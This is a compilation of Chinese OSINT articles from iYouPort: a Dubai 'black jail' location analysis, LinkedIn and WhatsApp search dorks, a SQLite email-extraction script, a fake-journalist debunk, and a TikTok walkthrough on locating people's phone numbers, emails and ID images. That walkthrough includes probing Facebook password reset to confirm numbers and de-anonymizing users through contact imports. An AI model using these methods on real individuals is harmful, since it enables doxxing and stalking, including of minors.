无论您是想确定某人的位置，还是确定属于您主题的电子邮件地址和电话号码，LinkedIn 个人资料都可以提供大量有用的信息，从而大大扩展您的研究范围。

所有 LinkedIn 用户都可以看到有关查看其页面的人的一些详细信息，并且一些 LinkedIn 用户（高级付费会员）可以确切地看到哪些人查看了他们的页面，但设置为私密模式的用户除外。

于是创建一个具有非常严格的隐私设置的配置文件很重要，或者，干脆是一个与您的真实身份完全无关的袜子木偶帐户。

一旦您创建并保护了帐户，有几种方法可以识别 LinkedIn 个人资料：

以下是隐藏的搜索运算符列表：

「图」

「图」

如果您已确定了感兴趣的个人资料，则可以使用以下工具和技术查看：

- RocketReach 和 ContactOut 只是两个例子，都可以返回与 LinkedIn 个人资料相关的社交媒体资料和联系信息。
- 查看配置文件的URL以查看所有者是否已将其更改用户名，可在其他平台上搜索。不要忘记点击“查看联系信息”，其中包含电子邮件地址、个人网站和社交媒体资料。
- 如果您没有找到任何可能引导您获得属于目标的其他个人资料的信息，请尝试搜索相关人的社交媒体资料，这些相关人的名字需要比较特殊。在共同朋友和共同关注者列表中查找您的目标。
- 使用 The Endorser 可视化关系；
- 使用 TinEye 和 Yandex 反向搜索个人资料照片；
- 通过识别用户在个人资料的源代码中包含的邮政编码，深入查看目标的位置。它将显示在一个如下所示的字符串中：postalCode＆quot;：＆quot; [postal code here]。

您还有其他好玩的工具和思路吗？欢迎在留言中告诉我们。

下篇文章将演示如果资料完全是假的，如何揭示？〇

广告

相关

原文

报告说 "中国在迪拜经营黑监狱"，这是真的吗 - iyouport

开源情报-每个人都可用的武器

这篇文章尚未完成，但它已经展示了一个验证职业媒体报道的基本思路。您可以沿着这条线继续这项调查。

来自美联社—当事人WuHuan

2021年8月，美联社（AP）报道称，一名中国妇女被关押在“中国在迪拜的一个秘密拘留所”。这名26岁的女子吴欢(音)称，她在迪拜的一家酒店住宿时被中国官员逮捕，并被带到一栋改建过的旅店里，那里还关押着另外两名维吾尔族囚犯。

美联社无法核实这些说法，这导致这份报道在其他媒体上只得到简短的陈述，而且几乎没有其他深入报道。能够核实/驳斥中国是否在境外经营“黑监狱”的消息，对于了解中国在国际上行使权力的程度有重要意义。

由于迪拜作为亚洲各地旅行者的中转枢纽，有许多旅行者经过，这将具有特别的价值。这些旅行者中的一些人可能是中国感兴趣的（或被中国通缉的）。迪拜（来自 Wikimedia Commons）

这篇文章完全采取开源数据，主要是卫星数据，来分析这个黑监狱设施可能的位置。

作者邀请对此感兴趣的读者用新的调查证据来延续此调查，或者反驳。

第一阶段—规划

「图」

现在什么东西是“已知”的？

本节概述了基于美联社文章中吴的说法的 “已知因素”。这些将为后面的调查奠定基础，然而，这些信息取决于消息来源的诚实性。

虽然美联社无法核实 “黑监狱” 的说法，但他们能够证实 “证据包括她的护照上的印章，一个中国官员问她问题的电话录音，以及她从监狱里发给帮助这对夫妇的牧师的短信。”

- 5月27日—— 吴在她的酒店（Element al-Jaddaf）被中国当局询问[酒店位置：25.21973629, 55.33254908] 。
- 随后，她被迪拜警方带到了 Bur Dubai 警察局 [位置：25.2316734，55.28972216]，并被关押了3天。
- 在她被拘留在警察局的第三天，一名被介绍为中国领事馆的李旭航(音)的男子来访，并询问了她。
- 李旭航与另一名中国男子将她带出警察局，给她戴上手铐，并将她送上一辆黑色丰田车。
- 他们开车经过国际城。
- 他们开了大约半小时。
- 他们在一条有 “一排排相同院落” 的荒废街道上停下，她被护送到 “一栋有三层楼的白色建筑，里面的一系列房间被改造成独立的牢房”。
- 她在那里呆了八天。

我们可以推测什么？

- 该场地可能是保密设施，有高墙、大门和可能的闭路电视摄像机。
- 可能需要多名工作人员，因此可能会停放多辆汽车。
- 一个安静的地区比一个繁忙的地区更有可能。
- 因此，小街比主街更有可能。

“意外” 的证据点

「图」

有几个地方可能留下了意外的证据和痕迹。最值得注意的是，在已知时间点的地点之间的过渡区域。这可能包括在关键地点附近拍摄的可能包含此案线索的游客照片，以及社交媒体的评论，和其他在线信息。

调查的关键地点是；

- 酒店，特别是在吴某被押送出去的时候。
- 警察局，特别是吴某到达和离开的时候。
- 黑监狱（身份不明的）嫌疑人位置。

建立一个可能的区域

「图」

这些信息量并不多，但足以定义一个合理的可能区域。根据汽车从迪拜警察局经国际城开往目的地的假设，我们可以划出行程第一部分最可能的路线。两条主要路线（红线和紫线）从 Bur Dubai 警察局（左上角，蓝色图钉）到国际城（右下角，绿色图钉）。

确定了这一点，我们就可以确定汽车行走的方向，以及开始了解一个可能的区域。

在这种情况下，我们可以确定汽车在国际城的西北部和西南部之间行驶的可能性，否则就会采取不同的路线。根据已知路线，我们可以预测要搜索的可能区域（蓝色）。根据（粗略的）半小时车程，半径约为 50 公里。实际的可能区域形状大于最直接路线的预期形状，以考虑潜在的转移和兜圈子的路线设置。

完善搜索

「图」

这个可能区域是一个相当大的搜索区域，有成千上万的建筑物——其中大部分是不相关的。

在这种情况下，第一个办法是排除不需要搜索的大面积区域。通过将沙漠、空地和农田等区域“涂黑”，可搜索的区域会大大减少。

在这个过程的同时，任何含有可能匹配的地点都被突出显示为绿色并被标记出来。在这个阶段，对标准的容忍度很高，这意味着一些地点可能会被排除在外。如上图所示，可能区域太大而无法有效检查。为了解决这个问题，排除不相关的区域—— 例如沙漠和开阔的土地—— 意味着可以将注意力集中在重要的部分。

下一阶段是划分区域。建立优先区是为了计算可能的地点，这些地点将在从警察局出发的直接路线上，经过国际城。区域 1（白色）显示通过国际城的直接路线接近的区域。这假设汽车直接开往旅店。该区

域之外的所有其他位置仍然是可能的，但需要驾驶员进行低效的路线设置。也就是，兜圈子。

随着优先区的确定，开始对调查的区域进行命名。命名遵循Z(X)-XXX格式，“Z” 表示区域，后面的数字表示独特的区域。第一个被标记的地点是Z1–001。在1区已经确定了九个可能匹配的地点。

您可以按照这个思路继续进行；或者，如果您挖掘到了其他证据可推翻本文的思路，也欢迎联系作者：AudioOrdeal.co.uk

Claim: China operated black jail in Dubai—Open Source Analysis

原文

挖掘 WhatsApp 情报的技术和技巧 - iYouPort

开源情报-每个人都可用的武器

WhatsApp 也可以挖？是的。它没有很多人所认为的那样安全私密，虽然其中一种方法目前已经失效，但是其他方法依旧可用

「图」

「图」

注：从2月22日开始，一个dork已经不再起作用。 WhatsApp 已修改其网址，因此谷歌不能再对其进行索引。但是，本文中的其他 dorks 仍然有效。

「图」

「图」

在人们专注于冠状病毒的同时，Jordan Wildon 发表了一个轰动一时的推文，引起了人们的极大兴趣（很多中国读者可能错过了）—— 他展示了如何通过一个小小的 Google Dorking 就能从谷歌挖出 WhatsApp 群组。

这个 dork 利用了 WhatsApp 创建公共群组的方式；群组管理员可以为该群组生成可共享的公共链接，以供其他人加入。

Google 已将这些链接编入索引，以便可以对特定主题的 WhatsApp 群组进行针对性搜索。最广泛的搜索方法非常简单，就是这样：

site:chat.whatsapp.com

「图」

「图」

它带回了将近 460000 个被索引的群组邀请。

为了利用这一点，我们可以通过指定我们感兴趣的主题来修改搜索词。

因此，如果想要找到有一群骗子的群组，可以尝试进行这样的搜索：

site:chat.whatsapp.com crypto | forex | bitcoin | invest

或者这样：

site:chat.whatsapp.com “carding”

「图」

「图」

Google 实际上并没有以这种方式为群组聊天内容建立索引 —— 要找到与这些群组相关的内容和电话号码，仍然需要加入群组本身。但是，它显然提供了一个入口。

获取 **WhatsApp** 内容

那么我们可以和其他一些 Google Dorks 一起使用以获取 WhatsApp 的实际内容吗？

无法直接收集全部内容，但是，只要有一点创意，实际上就可以从开源渠道中获取一些 WhatsApp 内容。

例如，将备份的 WhatsApp 图像上传到可公开访问的服务器后，便可以找到它们。可以通过以下搜索找到这些备份：

intitle: “WhatsApp Images”

Google 会查找包含 WhatsApp 图像备份的开放目录：

「图」

「图」

尽管这项技术行之有效，但目前它的有效性非常有限。主要原因是

WhatsApp 提供的默认备份选项倾向于用于 Google 云端硬盘或 Dropbox 之类的云服务，这些服务没有被索引，因此无法搜索。

您还可以结合使用 inurl 和 intitle 参数来搜索包含 WhatsApp 的内容（例如消息、备份和图像）：

intitle:index of inurl:*whatsapp/* 要使该方法更加有趣，您可以将搜索参数中的 ***“whatsapp”*** 替换为 ***“DCIM”*** 或 ***“Dropbox”*** 或 ***“Backups”*** **……** 玩得开心。 *不要错过《如果您必需使用 ***WhatsApp***：这里是减少伤害的办法》 *《是否需要备份以及该如何安全地备份 ***WhatsApp*** ？》 ○□ 原文《***WhatsApp Dorks And Tricks***》 广告 原文

挖掘抖音中的线索：开源情报调查思路 - iYouPort

开源情报-每个人都可用的武器

非常建议您使用我们提供的方法在各种平台上尝试追踪（而不仅仅是抖音），只有亲自尝试过追踪监视，才能深刻理解为什么信息安全非常重要，尤其是，您需要怎么做以保护自己

「图」

「图」

关于对抖音挖掘，我们此前介绍过一次，是一个思考框架，见：

- 《你能从TikTok（抖音）中挖掘到哪些情报线索？》

虽然抖音已经明显地“反转了GFW”，但目前为止对抖音的调查工作依旧占比不高。这与人们对它的陌生感有关。

该应用程序似乎在年轻观众中最受欢迎，但也可以在这里找到很多成年人。

许多人发布内容，但其他人只是观看并评论他人的内容。有些评论是无辜的，另一些则不是。

⚠请注意，人们似乎非常乐意在这类平台上发布视频，以显示自己读过的学校、私人房子内外的景观、甚至遍地都是致命的电话号码和其他个人信息，这就是该平台理应成为调查人员（当然也包括追逐者）重点关注的原因。

AccessOSINT 继续介绍了一些方法。所有这些方法都可以综合运用，以激发更多公民调查人员对抖音的挖掘。您可以在这里看到原文《TikTok — Using OSINT to Discover New Leads》。

我们来看看，您应该瞄准哪里。

公开了哪些信息？

许多 TikTok 用户还很年轻，有可能不了解自己的个人信息被放在这种地方的后果。虽然有很多成年人也是如此糊涂。

❗我见过人们张贴电子邮件、电话号码、指向其他社交媒体的链接、身份证、护照、以及其他很多致命的个人身份信息，例如 身高和年龄 —— 这些都是身份盗用和追踪迫害的绝佳途径。

不止是糊涂，更有，人们倾向于遵循 “趋势”，即：某人已经做到如此并因此获得了良好的反馈，于是，每个人都开始这样做 …… 就像羊群一样；完全没有考虑这有多危险。

本文想要说明查找此类信息有多么容易。

「图」

「图」

上方是 TikTok 移动应用上的“发现”按钮。它显示热门标签以及热门视频。

这里要重点关注的是搜索栏，因为你可以搜索用户名、关键字、歌曲等更多内容。

试一下。第一个搜索词是：“给我打电话”。

取得结果后，您可以在不同的选项之间进行选择，例如用户、视频、音频、主题标签，但对于常规搜索，您可以坚持 “Top”，以显示所需的最受欢迎视频。

第一次搜索就返回了很多结果 —— 显示出人们在视频说明中或在视频本身中以文字形式发布了自己的电话号码。

「图」

「图」

下面是一个必须观看视频的示例，因为人们使用文本来显示其电话号码。

在某些视频中，这些电话号码只会显示几分之一秒，因此几乎不可能在手机上及时截屏，那么怎么办？

☞在这种情况下，您可以使用浏览器版本来更好地控制视频。也就是在上一篇文章中所介绍的那样。

「图」

「图」

音轨

您可能会注意到，当您观看TikTok视频时，您可以在底部看到正在播放的音轨。在上一张图片中，曲目来自名为 “alecgiacchetto” 的用户。

TikTok 允许您单击曲目名称所在的位置，它将显示所有其他使用相同音轨的视频。在截屏时，有19.8k的视频正在使用这种声音，这个数字不断增长。

「图」

「图」

这种特定的声音不是音乐，只是用户在说话，这就是他们在整个视频中所说的：

“人们总是在这里发布他们的电话号码，然后电话就炸了，他们必须更改他们的号码，但您知道，我并不出名，所以，*FaceTime* 联系我。”

这意味着这些视频中的大多数现在都将使用其电话号码，以便人们可以用 FaceTime 联系他们。有些人改用电子邮件地址是因为他们说分享自己的电话号码会让人感觉 “不舒服”...

有些人的确不会分享任何东西，并会通过显示 “ 911” 来开玩笑。

☞以下是人们发布电子邮件地址的其他示例 —— 是通过搜索 “gmail.com” 找到这些的。你可以使用任何域名或短语（例如“给我发电子邮件”）。

「图」

「图」

再来看一个例子，看看你能挖到什么。

有一条关于人们在其个人身份照片中的音轨；人们在发布的视频上使用此音轨，并在其中显示其身份ID。当然，其中许多无法揭示全部内容。

☞但是，大多数人的照片下都有他们的签名和出生日期，并且在通过该音轨发布的1448个视频中，肯定有些人会显示完整的身份信息。

「图」

「图」

继续追踪

既然您已经知道了人们共享的信息种类，那么利用这些信息还能找到些什么呢？

首先，利用缺少最后一位数字的电话号码。所以问题是，如何确认完整的电话号码？

「图」

「图」

有很多方法可以做到这一点，所以我将在这里展示一些方法，并说明它们如何能够很好地协同工作。

同样，尽管本案例中出现的这些都是英国号码，但是，对于来自世界各地的电话号码和电子邮件，都可以使用相同的技术。

☞其实您很可能已经想到了，因为我们曾经介绍过这个思路。见：

- 《如何使用 Facebook 挖掘任何人的私人电话号码》
- 《如何仅仅通过电子邮件挖到你的电话号码：一种新的开源情报追踪方法》
- 《如果只知道一个电话号码，你能挖出多少有效信息？》
- 《如何侦查电子邮件和电话号码？开源情报调查工具》

☞在这里也一样。现在要去的第一个地方是 Facebook “忘记密码页

面”。您可以输入提供的电话号码并搜索每个尾数不同的号码。

尽管您在尝试中可能会发现存在多个号码，但可能性比较低。至少您能发现确实存在哪些号码，并且更有可能是正在使用的活动号码。

「图」

「图」

在这种情况下，6是最终得到的数字。其他所有可能性均返回错误，提示未找到任何帐户，但是使用6，您可以看到一个帐户，因为该帐户显示了恢复选项。

尽管从理论上讲这个号码可以属于其他人，但这个号码就是我首先关注的，因为我知道它存在并且正在社交媒体上使用。

「图」

「图」

☞下一步是将其添加到手机的联系人列表中，并将其导入TikTok。不要使用自己的手机！使用模拟器，或者一台单独的废弃的手机。

下图中的排名最高结果就是我们从中获得电话号码的同一帐户。为了保护隐私，图中做了很多编辑，但是您仍然可以看到此处的用户名以“ lil”开头，就像原始视频中的用户名一样。

「图」

「图」

与 TikTok 相似，您也可以将联系人导入 Snapchat，以此显示对方的用户名，在这种情况下，该用户名也包含此人的真实姓名。

⚠ 我们强调过不要把重要联系人输入到手机通讯录！这非常危险。

- 看一个例子《“如果你不偏执，那就是疯了”》

“Aaaaaa” 部分是我在联系人中设置的，但其下的用户名是她自己设置。

现在您已经知道了此人的真实姓名，如果需要，也可以在其他社交媒体上进行搜索。这是一件容易的事情，只需一条信息，然后就可以找

到更多信息。

「图」

「图」

从此信息获取数据的另一种方法是 Lampyre。

这是一款允许您搜索身份标识的软件，它将返回在目标身份标识上可以找到的所有内容。

我最喜欢的是他们的电话和电子邮件搜索功能，因为它具有很高的准确性、以及可以返回的独特结果。

在本案例中，从 TikTok 搜索了四个英国电话号码。尽管这次返还的不多，但您的尝试有可能得到更多，这取决于您的目标是谁以及他们使用在线电话号码的方式。

现在，我们可以看到其中两个号码返回了来自 Facebook 账户恢复选项的部分数据。

根据用户的谨慎程度，部分电子邮件通常很容易猜到。另外两个表明它们已连接到 WhatsApp 帐户，因此现在您可以使用联系人列表中的电话号码检查 WhatsApp，并查看它是否显示个人资料图片。

「图」

「图」

以下是在 Lampyre 上搜索电子邮件的示例。再一次，它只带回直接连接到目标电子邮件的信息。

☞它在此处返回了部分详细信息，非常致命的信息，例如来自 PayPal 和 Apple 的电话号码、直接链接至其 LinkedIn 帐户的信息，并确认该电子邮件已在 Pinterest 和 Spotify 等网站上使用，尽管它不会直接转到此处的帐户。

「图」

「图」

我使用在TikTok上找到的电子邮件地址尝试了他们的新搜索之一，它

返回了一个 Tumblr 帐户。

请注意，该帐户上的用户名与 TikTok 上的用户名完全不同，因此找到 Tumblr 的唯一原因是，人们暴露了自己的电子邮件地址。

现在您知道危险性是什么了？

结论

当然，本文远非完整，还有很多其他示例；人们依旧在公开敏感信息时毫不留意，于是始终有更多的方法可以在其中查找到重要信息。开动脑筋！

真心希望更多人来试一试，只有亲自体验追踪才能体会到信息安全的重要性。〇

《TikTok — Using OSINT to Discover New Leads》 广告

原文

挖证据的利器：如何从任何 SQLite 数据库中提取电子邮件账户？#OSINT - iYouPort

开源情报-每个人都可用的武器

一直以来“取证”都是他们对我们用，但为什么不可以反过来用呢……本系列文章介绍和演示的 OSINT 技术就是这个想法

「图」

「图」

首先我会告诉你，与大多数执法或私人取证审查员相比，我对取证知之甚少。在查看取证采集的结果，看到从中流出的所有神奇数据时，我总是会发现令人惊讶的事。电子邮件地址、电话号码、用户名、社交媒体、图像、列表等等，这总是让我感到震惊，因为 #OSINT 可以利用后续应用程序来尝试扩展您对所购设备和所有者的了解。

所以我联系了一些取证专家，询问他们哪里有一个很好的取证信息来源， 我可以用来开始查询在线服务以获取更多信息。他们推荐了 Skype 数据库采用 SQLite 格式，这是一个名副其实的信息宝库。

所以我们在这篇文章中要做的是双重的：我们将构建一个 **Python** 脚本，可以从任何 **SQLite** 数据库中提取电子邮件，利用 **Full Contact API** 对我们找到的电子邮件帐户执行查找。我们尝试的最终输出将是一个电子表格，其中包含所有发现的社交媒体配置文件。有意思吧 ~ 那么开始。

Python 和 SQLite

SQLite 是一个基于文件的数据库系统，它具有大多数基于服务器的数据库系统所具有的许多强大功能，所有这些功能都被压缩成一个很小的文件。奇妙之处在于 Python 内置了对 SQLite 的支持，因此这将使我们很容易与我们选择的任何 SQLite 文件进行交互。

此脚本的设计将使得无论传入何种数据库，我们都将系统地遍历每个已发现的表，并搜索每个列以查找电子邮件地址，这样您就可以超越 Skype 进行探索。

SQLite 有一个名为 SQLITE_MASTER 的表，用于描述数据库的模式。我们将对此表执行查询以提取数据库中包含的所有表。从那里我们将遍历每个表 并执行 SQL SELECT 语句以从每个表中选择所有记录。当结果返回时，它们被分解为列，将逐个遍历每一列并尝试提取电子邮件地址。

开始创建一个名为 sqlite_parser.py 的 Python 脚本并输入以下代码：

「图」

「图」

第1–3行：导入我们将用于解析数据库的必要库。

第8–10行：设置一个命令行参数解析器来处理想要解析的数据库文件。

第9行：初始化一个空列表，该列表将包含我们从数据库中提取的所有匹配项。

第10行：这里我们设置一个正则表达式来匹配电子邮件地址。这不是一个详尽的模式，但它完成了这项工作。最棒的是，你可以修改为 IP 地址 （我们将在第2部分中进行）或您希望从 SQLite 数据库中提取的任何其他模式。

现在让我们连接到 SQLite 数据库并找到所有可用的表：

「图」

「图」

第13行：通过传递数据库文件的路径连接到 SQLite 数据库文件。路径来自我们传入的命令行参数。

第14行：连接后，我们创建一个 SQLite 游标对象，我们将用它向数据库发出 SQL 语句。

第16行：执行查询以从 sqlite_master 表中提取所有表，这将为我们

提供可以操作的表的列表。

第18行：我们使用 fetchall（ ）函数从第 16 行的先前查询中检索查询结果。这将返回一个列表，然后我们可以循环并执行后续查询。

现在我们需要遍历每个表，查询它的所有数据，然后遍历每一列，应用我们的正则表达式来尝试提取电子邮件地址。这将是一个更长的代码块，所以：

「图」

「图」

第20–27行：在表列表上循环（第20行），打印出有用的消息（第22行），然后在表上执行 SELECT 语句以从表中检索所有记录（第25行）。再 次使用 fetchall（ ）函数从 SELECT 查询中检索所有记录（第27行）。

第29–31行：循环遍历结果中的每一行（第29行），然后对于每一行，循环遍历其每一列（第31行）。

第33–36行：尝试应用我们的电子邮件正则表达式（第34行），如果不匹配（第36行），回到第33行的循环顶部开始查看下一列。

第38–42行：从正则表达式中浏览匹配列表（第38行），如果遇到尚未添加的新匹配（第40行），将其添加到全局匹配列表（第42行）。

现在我们对脚本进行最后的修改，以关闭我们的数据库资源并打印出所有匹配项。将以下代码行添加到脚本中：

「图」

「图」

第43–44行：关闭数据库游标（第43行）和SQLite文件（第44行）的连接。

第48–49行：遍历所有匹配项并打印出来。

做得好！ 现在让它运行起来，以确保它可以正常工作。您可以找到 Skype 的 SQLite 文件，如下所示：

对于 **Mac OSX**：

/Users/「your_mac_username」/Library/Application\ Support/Skype/「your_skype_username」/main.db

对于 **Windows**：

%appdata%\Skype\main.db

让它运行起来！

那么让这个小单元运行起来，查看输出结果。在这种情况下，我将 main.db 文件放在与我的 Python 脚本相同的路径：

[*] Scanning table…DbMeta

[*] Scanning table…AppSchemaVersion

[*] Scanning table…Contacts

[*] Scanning table…LegacyMessages

[*] Scanning table…Calls

[*] Scanning table…Accounts

[*] Scanning table…Transfers

…more tables scanned here

[*] Discovered 68 matches.

justin.seitz@gmail.com

… 67 other email addresses here.

如果您得到如上所述的输出，那么您就知道一切正常！ 现在让我们集成 Full Contact API，这样我们就可以在我们提取的电子邮件地址上做一些 OSINT。

集成 FullContact

现在我们可以从任何 SQLite 中提取电子邮件帐户，现在当然要利用

我们想要尝试将这些电子邮件帐户归因于社交媒体或其他一些我们可以用来获取额外情报的在线展示。

我们将利用 FullContact（数据聚合器）对我们发现的电子邮件帐户进行一些额外的查找。当我们发现帐户时，我们会将它们添加到 CSV 文件中，以便我们可以使用 Excel 或 Google Fusion Tables 浏览数据，这也可以让我们轻松地将这些数据添加到其他工具中。

第一步是注册 FullContact API 密钥。完成后，将 sqlite_parser.py 脚本保存为sqlite_fullcontact.py（从此处下载），然后进行一些修改。在 import sqlite3 这一行之后添加以下内容：

「图」

「图」

完美，我们只是添加一些额外的模块和用来保存 Full Contact API 密钥的变量。如果您没有 requests 库，可以使用 pip 进行安装（在此处查看视频以获取帮助）。现在我们将开始在第 53 行的脚本底部添加代码。请执行以下操作：

「图」

「图」

第54行：打开 CSV 文件的文件句柄，将存储检索到的信息。

第55行：设置了一个字段名称列表，它将成为我们电子表格中的列。

第56行：使用 csv 模块的 DictWriter 类，传入我们在第 54 行创建的文件句柄和第55行创建的字段名称列表。DictWriter 类允许我们通过传入字典在 电子表格中写行。

第57行：我们写出了电子表格的顶行（标题），它将为我们提供任何好的电子表格应该具有的列名。

接下来，我们需要遍历 SQLite 解析到的匹配列表，并将每个电子邮件地址传递给 FullContact API，以尝试检索它们可能具有的任何结果。我们现在实 现代码来执行此操作：

「图」

「图」

第59行：只要有要处理的电子邮件地址，此代码块将继续执行。

第62–63行：为了对FullContact API进行身份验证，我们必须传入X-FullContact-APIKey HTTP头。通过设置headers字典（第62行），然后设置所需的头部和API密钥的值（第63行）来完成此操作。

第65–68行：从列表中获取一个电子邮件地址（第65行）将其打印出来（第67行），然后我们构建一个以将电子邮件地址传递给FullContact API 端点的 URL（第68行）。

第70–72行：将请求发送到 FullContact API，在 headers 变量（第70行）中传入我们的 HTTP 头，然后休眠两秒钟（第72行）以遵守 Full Contact 服务器施加的速率限制。

我们已将请求发送出去，现在是时候测试结果了，如果有匹配，我们需要将它们存储在我们的 CSV 文件中。让我们实现代码来执行此操作：

「图」

「图」

第74行：如果从 FullContact API 收到良好的响应，我们就可以测试匹配了。

第76行：我们让 requests 库解析来自服务器的 JSON 响应，并将结果存储在 contact_object 变量中。

第78行：测试 contact_object（现在是字典）的 socialProfiles 键，它将向我们指示社交媒体配置文件的命中。

第80行：单个电子邮件帐户可以有多个社交媒体配置文件，它们存储在 socialProfiles 键的列表中。我们开始浏览每个社交媒体配置文件，并将每个配置文件存储在 profile 变量

第82–87行：初始化一个名为 record（第82行）的空字典，并用从FullContact API 检索到的所有数据填充它。get() 函数将尝试检索您看到的每个值（type，id，username，url），如果没有值，它将自动返回 “N/A”。

第89行：将 record 字典作为新行写入 CSV 文件。

第91–96行：打印出我们找到的信息，这样就可以在脚本运行时监控输出。

我们现在需要实现一个单独的检查，以查看 FullContact API 是否希望我们在检索结果之前等待。这可能是随机发生的，老实说我不知道为什么。

我们将测试 HTTP 响应代码 202 而不是 200，然后将测试的电子邮件地址重新添加回我们的匹配列表，以确保我们不会丢弃电子邮件地址。请注意这里的缩进，它应该缩进到状态代码 200 检查：

「图」

「图」

就这样！ 我们测试 202 代码，如果遇到它，我们将电子邮件地址推回到电子邮件地址列表中进行检查，然后我们休眠 30 秒。最后一行代码只是关闭与 CSV 文件关联的文件句柄。现在是时候试一试了。

让它运行起来！

您将以与运行前一个脚本完全相同的方式运行此脚本，但输出应该不同，假设您从 FullContact API 获得了良好的结果：

Justins-MacBook-Pro:Desktop justin$ python sqlite_osint_fullcontact.py -d main.db

[*] Scanning table…DbMeta

[*] Scanning table…AppSchemaVersion

[*] Scanning table…Contacts

[*] Trying justin.seitz@gmail.com

Network: twitter

Username: jms_dot_py

URL: https://twitter.com/jms_dot_py

ID: 817668451

当然，除了这个电子邮件地址之外还有更多的命中，但是一旦掌握了 SQLite 数据库，就可以大大扩展您的调查。

在下一部分中，我们将了解如何使用 IP 地址构建映射，以演示 SQLite 解析的灵活性以及调整脚本的容易程度。下次见！〇

广告

原文

揭露假记者：一个"深度造假"信息战的案例，提醒您旧有的验证技巧正在过时 - iYouPort

开源情报-每个人都可用的武器让它民主-公民掌握真相的技巧和技术

这个假人的专业性比较高，此案例驳斥了很多惯常的真伪判断思考模式，提醒您旧的判断标准正在造假技术的升级中失效。希望您能从中学习到经验

「图」

「图」

这篇文章来自 Mike Caulfield，他是国数字两极化项目的负责人，该项目是一个旨在改变媒体素养教育的多学校试点项目。文章以第一人称撰写。

您可以通过搜索 “Maisy Kinsley + fake” 找到很多揭露其假身份的报道。

📌 不要错过曾经揭穿信息战骗子的开源调查演示👇：

- 《一个惊人的案例：积极的反政府抗议者居然是个假人》
- 《享誉盛名的”五角大楼官员”事实上是一个假人，如何揭露”他”？（第一部分）》
- 《合谋的欺骗：虚假的五角大楼官员是如何被发明出来的？（第二部分）》

最近我听说有一位叫 Maisy Kinsley 的 “记者” 在撰写有关做空特斯拉的报道，并正在向相关人士查证消息。

我不想在这里大谈埃隆·马斯克如何与做空他的公司的人作战，您可能也不需要听这个。我想说的是，人们可以通过各种方法假扮记者，然后去作恶，而 **Maisy** 就是这么一个例子。

「图」

「图」

人们都会选择性地向外界释放关于自己的信息。这些信息可真可假，对于刚认识的人来说，我们很难判断对方的可信度；能做的只是估量一下构建这些信息大概需要花费多少时间或金钱。对骗子来说，编造某些信息是轻而易举的，但另一些就要费点心力了。

📌 下面将鉴别一些常见的身份信息，尤其是，研究一下编造它们究竟需要花费多少心力。

首先来看看推特上的个人简介和头像。这个叫 Maisy 的人使用的头像是一张原创的照片，如果对它进行反向图片搜索，并不会找到其它关于 Maisy 的照片，也不会出现别人的名字，所以这不太可能是盗用的头像。而在个人介绍中，Maisy 自称为彭博的撰稿人。

- 不要错过，关于反向图像搜索工具的对比《搜图功能哪家强？图像验证方法的能力对比》

【注：从头像开始是一个捷径；虽然这个捷径在本案例中不起作用，但它依旧是很多调查必然的开端，比如调查水军账户的案例《网络水军如何试图影响选举？ 一个调查案例，观察对选民的在线心理战》】

不过这并不足以确认一个人的身份。但追踪由此发现了 Maisy 的个人网站，而且看上去十分专业。

【注：一个博主有自己的网站，在一般意义上这将被视为“足够可信”；但是，本案例将告诉您，没这么简单】

「图」

「图」

Maisy 的网站上显示她是一名“自由撰稿人”。但就像她在推特上的信息一样，这些都是她自己说的。不过我们由此找到了她的领英页面，显示 Maisy 有194位联络人，她甚至是我的三度联络人！（我已经有点看烦她的照片了，但让我们再坚持一会。）

「图」

「图」

根据领英，这个 Maisy 还是斯坦福毕业生！我们不是刚谈到有些虚假

个人信息的构建需要花费点心力嘛，看，这可不是随便说说的。

【注：👆上面那个假的五角大楼官员的调查案例，是 “最花心力” 的虚假身份构建 —— 甚至在当权者的庇护之下，此人拥有 “真实的” 假证件】

「图」

「图」

寻常的判断线索已经变得越来越垃圾

总结以上内容：如您所见，这些信息正变得越来越不可信。在互联网时代，编造这些信息已经非常容易，而这也令信息的可信度在下降。

每个人都可以决定如何在推特上介绍自己；没有哪家公司的页面或者专业名录会刊载这段个人简介；所以，这样的信息并没有足够的可信度。

那么 Maisy 的头像又是怎么回事呢？这完全要归功于机器学习，它们已经能创造出一个根本不存在的人的照片。通过一个网站，您也能在几秒钟内就创造出一张假照片 —— 完全不存在的人的脸。下面是我的示范。

- 不要错过，如何在线创建假人脸《完美替身》

「图」

「图」

那 Maisy 的网站是怎么回事呢？网站域名很便宜，一年的租金大概只有12美金。而网页就更便宜了。至于页面设计，虽然一个人一半的格调都跟此人的网站看起来多专业有关，所以你需要花钱请设计师 —— 但那只是15年前的事，今天，你能找到大量免费的模板，随手做出就像 Maisy 一样的网站。

也许您想问，那领英的页面呢？那些联系人、在斯坦福读过书 …… 又是怎么回事？

首先，领英页面上的教育信息一点也不比推特更权威。虽然它看起来很官方，但是，其实你想写什么就写什么。你看，我就刚刚让自己上了斯坦福，而且读的是超酷的天体物理学。

「图」

「图」

至于 Maisy 在领英上的人脉，就要比上面那些信息更有趣一些了。有人曾致电那些人询问是否真的认识 Maisy。不，没人认识她，他们只是没有拒绝对方发来的联系邀请或者认证请求罢了。

只要 Maisy 向足够多的人发送联系邀请，以及主动为足够多的人进行认可背书，自然就会有人答复他的邀请或者认证她。大功告成。

「图」

「图」

说一件好玩的事，是真事。一次我在领英上加了一位名叫 Sara Wickham 或类似名字的人做好友。我们聊起在1993年读大学的朋友：

“记得 Russ 吗？”；

“那个背着吉他，总是弹 The Dead 和 Camper Van Beethoven 的家伙吗？”

“你是说 Chris 吗？”

“对，是 Chris！”

“当然记得，他怎么样啊？”

聊了一个多星期之后我才意识到，我们根本不是同学，而且随着越聊越多，我想起那个弹吉的人也根本不叫 Chris。我从来没见过这个和我聊天的人，我们也根本没有共同朋友。

这就是领英，它所显示的所谓人脉关系根本无法说明任何问题。

当您感觉自己发现了什么东西时，请先仔细斟酌一下

那么这个 Maisy 究竟有哪些奇怪的地方？

比如说，Maisy 在领英上的经历显示，她从毕业到成为记者中间有5年的断档期。她在2013年毕业，但却直到最近才成为记者，说不通对

吧？

她的相片有某种膨胀感，这正是 AI 处理过的痕迹；而且她在任何地方都是使用的同一张照片，网站上的个人简介看起来就像是瞎扯的。她的工作室叫“不偏不倚的自由工作者和报道者”，听起来就像“诚实的自助服务”一样，完全是胡编乱造。

但是请注意，指出这些不妥并不会显得您有多聪明。毕竟您已经知道 Maisy 是个骗子，所以自然会注意到各种不合理的地方。而调查的最初，和那些毫无戒心的人，是很难注意到问题的。

